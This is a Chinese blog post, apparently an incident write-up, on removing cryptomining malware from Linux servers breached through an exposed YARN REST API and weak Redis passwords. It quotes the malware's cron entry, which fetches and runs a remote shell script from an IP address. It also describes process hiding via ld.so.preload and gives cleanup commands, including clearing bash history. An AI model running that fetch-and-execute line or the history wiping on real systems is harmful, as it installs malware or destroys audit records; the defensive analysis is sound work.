首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

挖矿程序中毒分析

俗话说常在河边走,哪能不湿鞋(看不懂的听音乐看图片)

这不,昨天在朋友技术群里又见到了挖矿被中毒的场景......

猛然间想起自己帮媳妇儿公司处理过hadoop管理平台yarn弱口令漏洞被利用,

从而成为挖矿者俘虏的往事。

以前案例现象:

访问yarn:8088页面发现一直有任务在跑如图:

用户为dr.who,问下内部使用人员,都没有任务在跑;

结论:

服务器被中毒了,攻击者利用Hadoop Yarn资源管理系统REST API未授权漏洞对服务器进行攻击,攻击者可以在未授权的情况下远程执行代码的安全问题进行预警。

用top命令发现cpu使用了360%多,系统会很卡。

解决办法:

1,通过查看占用cpu高得进程,kill掉此进程

2,检查/tmp和/var/tmp目录,删除java、ppc、w.conf等异常文件

3 ,通过crontab -l 查看有一个* * * * * wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1任务,删除此任务

4,排查YARN日志,确认异常的application,删除处理

再通过top验证看是否还有高cpu进程,如果有,kill掉,没有的话应该正常了。

注意:YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题,那么任何黑客则就均可利用其进行远程命令执行,从而进行挖矿等行为,黑客直接利用开放在8088的REST API提交执行命令,来实现在服务器内下载执行.sh脚本,从而再进一步下载启动挖矿程序达到挖矿的目的,因此注意并启用Kerberos认证功能,禁止匿名访问修改8088端口

于是,自告奋勇,以为还是类似的情景。

技技术群对话~~

加密的脚本内容:

解密后脚本节选:

于是忍不住了,

问了下自己远程连接操刀

删除了几番试试,

按照脚本反其道而行之,

结果还是杀不干净.top能看到cpu 100%爆满.

就是看不清是那个程序占用.?

由于网络延时,没截图。

于是想肯定是top被替换了,

继续看了一下脚本,

原来是一张图片内嵌至伪造的同名库文件里,

同时库文件调用了下载程序的执行脚本,

top一下程序自动运行,并且子孙无穷尽。

(脚本是解密后放在自己服务器截的图)

本想干掉这个top的库文件,

但由于命名的诱惑性,

外加上杀不干净的程序,

当执行rm -rf时,

也明显感受到对方朋友的紧张。

于是了解业务后,

发现机器影响的业务并不严重.

也快下班了,于是不想再折腾了。

仔细再次溜了一遍脚本,

想再装系统之前和对方朋友涨涨姿势的,

但感觉到对方朋友

其实并不是乐意于彻底学习这个问题,

于是建议其重装。

事后,坐地铁总结了一下。

常见的挖矿中毒程序处理方式

处理过程的思路和建议方法。

1.服务器怎么会中挖矿木马程序

肉鸡 弱口令 webshell xss 软件漏洞bug redis zk mysql 0day yarn等造成服务器被扫描并且提权。

2 首先遇到这样情况,我们杀掉挖矿的程序它会自己起来

没清理干净 定时任务 命令修改 开机自启动文件 历史记录

3.如何处理?

首先根据业务判定,造成业务故障,可选用HA方案切走应用服务,对服务器进行下架切断一切网络来源,进行相关处理。

当然一般处理方案是这样,首先通过iptables或者firewalls防火墙手段封死攻击者地址,类似与切断网络来源,接下来我们就可以进行分析和处理挖矿的原因。

处理的方式 可以根据挖矿脚本进行分析 一个一个进行处理 对修改的命令和文件进行恢复和删除 。

后期对系统和web进行安全测试,对系统漏洞进行修复.

Linux后门入 侵检测工具chkrootkit、RKHunter等的巡检。

系统文件MD5值的对比。其实安全最大的因素是人。

当然监控也非常重要。

4.此次原因分析

Redis存在弱口令导致的此次故障问题,Redis可以通过config配置方式 修改配置目录将自己的key放在服务器上,以达到服务器提权的目的。

Redis 未授权访问缺陷可轻易导致系统被黑:

https://www.seebug.org/vuldb/ssvid-89715

笔者建议出现类似事故后处理的命令:

查看哪个进程占据cup

通过top或者使用ps aux

这个案例通过top 命令看不到哪个进程占用了cup ,查看脚本后执行cat /etc/ld.so.preload里面也加载了异常的文件,判断是用于隐藏进程用的, 建议将其内容注释掉或删除,执行ldconfig 然后再使用top 查看下进程;

疑点:

脚本里面图片在浏览器能打开,本地打不开.怀疑是隐写术(微信后台传不来)

本地打不开,隐写工具也打不开。

使用ls -lt /etc | head查看最近变动的文件目录

或者使用find 命令加参数stat查找最近修改过的文件

当然如果是细心一些的,还是会修改掉文件change时间点的.

查找进程文件删除,执行其中任意 1 条命令即可

ps -ef | grep shutdown [命令]

ps aux | grep /bin/bash [命令路径]

ps aux | grep bash [命令]

lsof -p PID

cd /proc/4170 [pid]

找出系统中所有的僵尸进程

ps aux | grep 'defunct'

ps -ef | grep defunct | grep -v grep | wc -l

清理僵尸进程

ps -e -o ppid,stat | grep Z | cut -d" " -f2 | xargs kill -9

kill -HUP `ps -A -ostat,ppid | grep -e '^[Zz]' | awk ''`

查找系统中的定时任务

crontab -l

或者

cd /var/spool/cron#查看这个文件夹下的文件删除

vim /etc/crontab

里面会有一个定时任务并且一般删不掉。 浏览器打开网址是个脚本,通过base64 加密,解密即可看到脚本内容。

还要注意随机启动脚本.

根据脚本删除脚本创建的文件,我这里期望删除的是

/usr/local/lib/dns.so ,/etc/ld.so.preload

查看系统登录日志

日志文件/var/log/wtmp,系统的每一次登录,都会在此日志中添加记录,为了防止有人篡改,该文件为二进制文件

cd /var/log ; last或者last -f /var/log/wtmp

当然这个案例里面日志都是被清掉的.

删除历史操作命令,防止黑客进入查看你做了哪些操作

history 命令来查看历史命令

history -c 是清除当前shell的历史纪录,因为系统一般会把信息保存在一个文件中,只要文件中内容没有改变,那么信息也不会变。linux中存放历史命令的文件是.bash_history,清空该文件(echo ‘’ > /root/.bash_history),那些历史命令就会被清空了。

如果是在shell脚本中调用history -c清空当前shell的历史命令,是不会成功的,因为bash执行命令时默认是会产生一个子进程来执行该命令,在子进程中执行history -c不是清除你当前shell的历史命令了。

可以使用source来执行脚本(source ./脚本),source 指在当前bash环境下执行命令。

关闭不需要的端口

屏蔽访问脚本中的域名 ip,关闭访问挖矿服务器的访问

iptables -A INPUT -s xmr.crypto-pool.fr -j DROPiptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP

如果安装了redis ,修改redis 端口,设置复杂高一些密码 。

大佬们看完多多留言指教。

就此别过!

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20181009A0WTNW00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券